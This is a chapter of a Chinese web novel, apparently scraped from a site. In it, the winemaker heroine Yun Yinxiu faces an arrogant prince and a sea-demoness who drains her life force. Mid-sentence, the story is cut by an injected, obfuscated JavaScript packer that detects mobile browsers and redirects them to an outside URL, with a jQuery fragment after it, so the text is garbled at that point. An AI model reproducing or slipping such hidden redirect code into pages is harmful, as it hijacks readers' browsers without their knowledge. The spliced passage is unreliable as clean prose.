6. 海上女妖

作品:《酿酒女修的调解手札

    贺泽川不知道她打什么哑谜,赶紧从储物囊中抖落出一堆法器符宝,挑了几件最厉害的塞给林稚娘,其余的分发给了下人们。


    “事已至此,张师傅你可有办法散雾。”


    张舟子点头,迟疑道:“有是有,但我需要一个熟悉星斗的人,爬到桅杆上去控制所有的绳索。”


    贺泽川有些踌躇,他对星斗一无所知且恐高。别的人更是指望不上,总不能让女眷们去吧。


    “我愿帮忙。”


    从黑暗中踏出一人,竟是傅槊。


    张舟子眼前一亮,见他骨架坚实、背阔胸宽,果断答应:“好,你来助我。”


    张舟子脱掉上衣,粗糙的脊背上点缀了几枚小小的暗红三角旗子。旗子间以墨线相连,嵌了数个小阵法,又整体组成一个大阵法。


    傅槊已攀爬在船桅之上。


    张舟子念念有词,先东北后西南就地翻滚四下,那阵法便如墨般印在了甲板上。


    他于中央掐诀跺脚,大喝一声:“四方星宿,且听吾令,北斗为尊,斗柄于南。降!”


    话音一落,真有四条赤色星线自长桅降落。傅槊赶忙诵念张舟子传述的咒语,那星线逐渐于他手中聚拢,缠成粗条。


    傅槊从容不迫地控制着,只听张舟子一声令下:“放!”


    他手一松,星线便如离弦之箭穿透了重重浓雾,瞄向了未知的漆夜。


    “嗖嗖嗖——”白雾竟然真的消失了。


    众人望去,一艘金碧辉煌的三层船舫徐徐出现在了对面。


    一二层红笼长明,奴仆静列。顶层楼阁两边长窗半掩,纱幔垂坠,人影憧憧,丝竹宴乐不绝于耳。


    不系舟何以航行?


    众人定睛一瞧,原来这画舫的四角各有一个高约三丈的黑影,身披金甲,肩头却勒着极粗的纤绳,正缓慢的拉着这座金阁,在海上起起伏伏地前行。


    “巨人族?莫非是御赐的金甲侍卫。”张舟子登时认出。


    云饮休不曾见过,万一这是鬼魅的陷阱呢。


    “是南夏皇族的船。”贺泽川走近了几步,这独有的张狂劲,基本已经辨出是谁了。


    他一脸难看,人怎么可以倒霉到这种地步,偏偏遇上这尊瘟神。


    果不其然,对面有一个男人不耐烦地发出命令。


    “南夏九王爷圣驾,闲杂人等,统统闪开。”


    “他是当今圣上的胞弟,据传马上就要封亲王了。”贺泽川意有所指。


    【凤诩之,南夏五代神日帝第九子,现凌月帝幼弟,年方二十有五。为人潇洒,寄情山水,颇有文韬却不爱权政……】


    “系统,挑重点。我让你查背景不是颂皇权。”云饮休无奈。


    “好了好了,精简版本:尊贵皇子,你别惹。”


    云饮休立马堆砌笑脸。


    “原来是九王爷,我等惊扰圣驾,实则是突遇海上妖雾,还请殿下宽恕。”


    那男人重重哼了一声。


    “此处即便有妖雾出没,见我皇族天威必当煌煌去也。倒是你们诸多贱民,扰了王爷的兴致。还不调整船身,躲到一边?”


    云饮休无语得快要笑出声。


    这番话经典到无以复加。


    海面那么宽,却容不下你这皇族所谓的脸面,所谓的威仪。


    云饮休强压怒气,继续扬起笑脸。


    “大人此番妙言,小女子受教了。从前尚觉所谓海纳百川,所谓小肚鸡肠,不过是个人命运使然。今日倒是明白了另外一个道理。即使这人跟随那胸有丘壑眼存山川的贵人,也能将通天大道走成羊肠小径来!”


    “你——”男人眼珠子快要惊掉了,却被里面海上一阵女人欢快的声音截断。


    “哈哈哈,蠢货。”


    一股凛冽的寒气骤降,以铺天盖地之势席卷一切。海面霎时结冰,两艘船瞬间凝固,变成了冰上雕塑。


    除了在场有些修为的人,其余者皆成冰雕。


    空气不再流动,连天际那半个月亮仿佛都被冻在了云层中。


    “死到临头,还在拌嘴的,少见。”


    冰面上尚有个海水漩涡,一个赤足少女破水而出,紧接着脚下两顶巨大的橙黄色灯泡浮出水面,云饮休将身旁的林稚娘护在了身后。


    她认出,那是一只巨鳌的头颅。


    【滴——恭喜触发主线任务2:海妖的无字之歌。请……?/@^_^,奖励:%ikn】


    【滴——请重试!】


    【滴——连接失败!】


    系统不知道抽什么风,突然断联了。信号不佳的屏幕一半是马赛克一般是乱码。


    系统,关键时刻掉链子?


    你个死家伙太不中用了!


    但往往和主线任务有关的支线任务,才会出现数字编号。


    “顾好稚娘和悦儿。”云饮休视死如归扔下一句话。


    贺泽川不明所以。


    “神女容禀!”只见那人砰地一跪,砸的木板上的冰都裂了。


    平地一声雷。


    在场所有人都沉默了。


    “神女?”女妖闻言拊掌大笑,觉得饶有意思。


    “吾名虞落。”


    猎物从未得到过她的名讳,她是头一个。


    云饮休双膝跪地,做了个毛遂自荐。


    “小女子不才乃雍城酒商,祖上曾有一手艺便是以酒侍奉神灵。虞落神女若不嫌弃,某愿以血起誓,毕生供奉。不求来日富贵,只望眼下平安。”


    其他人听懂了。


    画舫中看戏的微动,他摸了摸手边的骨牌。


    她竟要信奉一只妖,只为了活命。


    寒风中,女妖虞落没有应答,却穿过无声白浪,找寻到了她的眼睛。


    云饮休清楚地看到了女妖的样子。


    苍白的面容,凸起的颧骨并不妨碍她的美丽。


    她的双瞳透明如孩童玩耍的玻璃球,紧接着却被云饮休唐突的视线摔碎了。血色沿着蛛网蔓延,她的眼眸弹指间已变成了妖冶到极致的宝石珠子,射出摄人心魄的异光。


    云饮休顷刻如行尸走肉。


    纤瘦的女子双目被迫圆睁,一股强大的吸力闯进了她的身体。


    “老师!老师!”林稚娘首先发现了她的异常,疯狂地摇动她的肩膀。


    贺泽川立马颤抖着往她身上贴大大小小的符咒。“醒醒,醒醒啊!”


    张舟子满头是汗,不断地掐诀。


    但云饮休依旧痴痴地伫立,她是女妖最虔诚的信者。


    你见过挤满头颅的深渊吗?白骨在下幽幽,托着每一朵鲜血淋漓的往生之花,搅动着海水。


    有什么东西被抽离了,越来越粗,从丝丝绕绕到春日细条。


    虞落拽着它们,扭着脑袋贪婪地吮吸,干枯的沙发一霎那光滑柔软,犹海藻般郁郁葱葱。


    丑陋的邪物们靠近了巨鳌,仰头看着座上女妖用喉咙尽情吞咽,享受着这罕见的美味。


    它们大张着萎缩的嘴巴,呢喃着发出渴望。


    “好香啊,好香啊……”


    无力,困倦。


    云饮休的瞳孔逐


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14803304|158463||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    渐涣散。


    不行,不行!


    放开我!


    “唰——”那支输送养分的管道被斩断。


    无力乍然消失,云饮休重获生机,如上岸的鱼,躺在甲板上大口大口地呼吸着。


    虞落大怒,却发现桅杆上有一男人,狠狠地盯着她。


    他如同等待狩猎的豹子,蓄势待发,目光锐利,与生俱来的傲慢无法掩盖。


    金光护体,原来是个得了人参精修为的幸运者,虞落舔了舔嘴唇,她有些饱了。


    而且,她不喜欢臭男人。


    “今日你很讨本神女的欢心,念及你供奉一番,我便网开一面。”


    哗啦啦,惊涛骇浪中,两个漩涡出现了,都笼罩着代表传送法阵的符文光芒。


    “此处两个入阵口,一真,一假,你们——自求多福吧。”


    一阵狂风过去,虞落已然不见,傅槊跳了下来。


    坚冰融解,两艘船重新滑入水中。


    双方都不约而同地没有动。


    少顷,那个男宫人再度露面,声音极具穿透力。


    “我家殿下说了,此等机会难得,但求各位英雄一展身手。”


    张舟子气极反笑。


    南夏皇室身怀女娲血脉,向来施行仁政。历代凰女称帝前后都会整顿皇族,言传身教,他还从未见过如此跋扈之人。


    “岂有此理,方才不声不响,靠着我们逃过一劫,现在又想让我们出力,天底下哪有这么便宜的事!”贺泽川忍不住骂道。


    身后那些仆人刚死里逃生,个个冻得手足无措,恨不得将头埋到泥底。林稚娘将云饮休扶起,瞅着她簇起的眉心,咬了咬唇。


    “老师,让我去吧。”


    云饮休来不及拒绝,一个巨大的波浪打了过来,船遭到撞击狠狠颠簸。


    众人脚下踉跄,却见一道以法力幻化的长鞭袭来,趁乱卷走了瘦小的林稚娘。


    “稚娘!”云饮休惊呼一声,却扑了个空。


    林稚娘已身在画舫,她死死地咬住嘴唇,尽力压制着浑身的战栗。


    “小娘奋勇争先,就让你来试试水深水浅吧。”


    一个身着赤狐大氅的男子终于出现在露台。


    凤诩之出身皇族,自然担得起一句丰神俊朗,只是姿态散漫,兼之狭眸眼白过多,隐有刻薄之色。


    他歪了歪头,下人便将捆绑得动弹不得的林稚娘吊在船边,作势下放。


    “且慢!”云饮休大声制止,“还请王爷高抬贵手。女妖诡计多端,此事关乎我等性命,还需从长计议。”


    这个祖传酿酒的,果真是个圆滑的蠢人。凤诩之感到厌烦,他不想睡在画舫上,需要快些赶至扶风郡。


    “本王时间宝贵,砍一个人的脑袋和十个人的脑袋并无任何区别。”他眨了眨困倦的眼睛。


    这是没得商量。


    贺泽川咬了咬牙,正准备冲出去,却发现云饮休已经先他一步。


    “噗通——”她纵身跃进了左边的漩涡。


    那漩涡一接触到人体,便停止了转动,开始缓缓结冰。


    云饮休抵抗住寒意,牙齿打着颤道:“王爷可还满意?”


    凤诩之没看她,反而冷笑,示威般盯着傅槊,果然是这厮。


    真是冤家路窄啊,他想。华珺东寻西觅,他无心插柳,却找到了不喜之人。


    还给他们吧。”目的达到,凤诩之觉得无趣。扔下轻飘飘一句话,皇子殿下便重新入了船舱。


    “不要!”


    林稚娘已被丢入漩涡。